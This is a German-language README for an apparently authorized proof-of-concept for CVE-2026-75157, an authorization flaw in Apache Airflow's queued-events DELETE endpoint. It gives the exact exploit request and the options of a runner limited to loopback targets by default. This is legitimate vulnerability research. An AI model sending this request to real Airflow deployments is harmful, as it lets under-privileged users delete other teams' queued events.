
Eigenständiger autorisierter universeller HTTP-PoC für CVE-2026-75157
Autorisierter Security-Research-PoC für die Autorisierungsschwachstelle bei Apache Airflow queued-events in Versionen vor 3.3.2.
Nur gegen eine Airflow-Instanz ausführen, die Ihnen gehört oder für die Sie ausdrücklich autorisiert sind, Tests durchzuführen. Der Standard-Runner verweigert Nicht-Loopback-Ziele. Dieses Repository enthält keine Scan-, Ziel-Enumerations-, Persistenz-, Credential-Diebstahl- oder destruktive Payload-Logik.
README.md
poc.py
poc.py ist ein universeller, zielbewusster HTTP-Request-Runner. Er akzeptiert die Ziel-URL, Methode, Pfad, Header, Body, Authentifizierungsquelle und das erwartete Ergebnis über die Kommandozeile, anstatt einen Host fest zu kodieren.
Health-Check gegen ein lokales Airflow-Lab:
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/monitor/health \
--method GET \
--expect-status 200 \
--expect-body healthy
CVE-Trigger gegen eine bereits vorbereitete lokale verwundbare Airflow-Instanz:
export AIRFLOW_POC_TOKEN='lab-only-restricted-token'
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/dags/cve_2026_75157_poc_dag/assets/queuedEvents \
--method DELETE \
--bearer-env AIRFLOW_POC_TOKEN \
--expect-status 204
Das Token muss zu einem Wegwerf-Prinzipal mit DAG-Lesezugriff und Assets-Delete-Zugriff gehören. Das erwartete verwundbare Verhalten ist, dass der eingeschränkte Prinzipal das queued-event löschen kann. Airflow 3.3.2 oder später sollte dieselbe Anfrage ablehnen, es sei denn, der Prinzipal hat auch DAG-Edit-Zugriff.
--target URL Erforderliches absolutes HTTP(S)-Ziel
--path PATH Optionaler Pfad, der an --target angehängt wird
--method METHOD GET, POST, PUT, PATCH, DELETE, HEAD
--header 'Name: Value' Wiederholbarer Request-Header
--bearer-env ENV Liest ein Bearer-Token aus ENV, ohne es auszugeben
--json JSON JSON-Request-Body
--body-file FILE Roher Request-Body
--expect-status STATUS Wiederholbare erwartete Status-Assertion
--expect-body TEXT Wiederholbare Response-Body-Assertion
--timeout SECONDS
--no-follow-redirect
--allow-non-loopback Explizites Opt-in für ein autorisiertes Nicht-Lab-Ziel
Der Runner gibt Exit-Code 0 für eine bestandene Assertion zurück, 1 für Scope-/Transport-/Argumentfehler und 2 für einen HTTP-Assertion-Fehler. Autorisierungs- und Cookie-Werte werden in der Ausgabe redigiert.
Vor Airflow 3.3.2 prüften queued-events-DELETE-Routen die DAG-Achse mit Leseberechtigung statt mit Bearbeitungsberechtigung. Der Fix ändert die DAG-Autorisierungsanforderung auf die Schreibberechtigung. Dieser PoC sendet die echte HTTP-Anfrage; er erstellt weder den Lab-Benutzer noch das Datenbank-Fixture.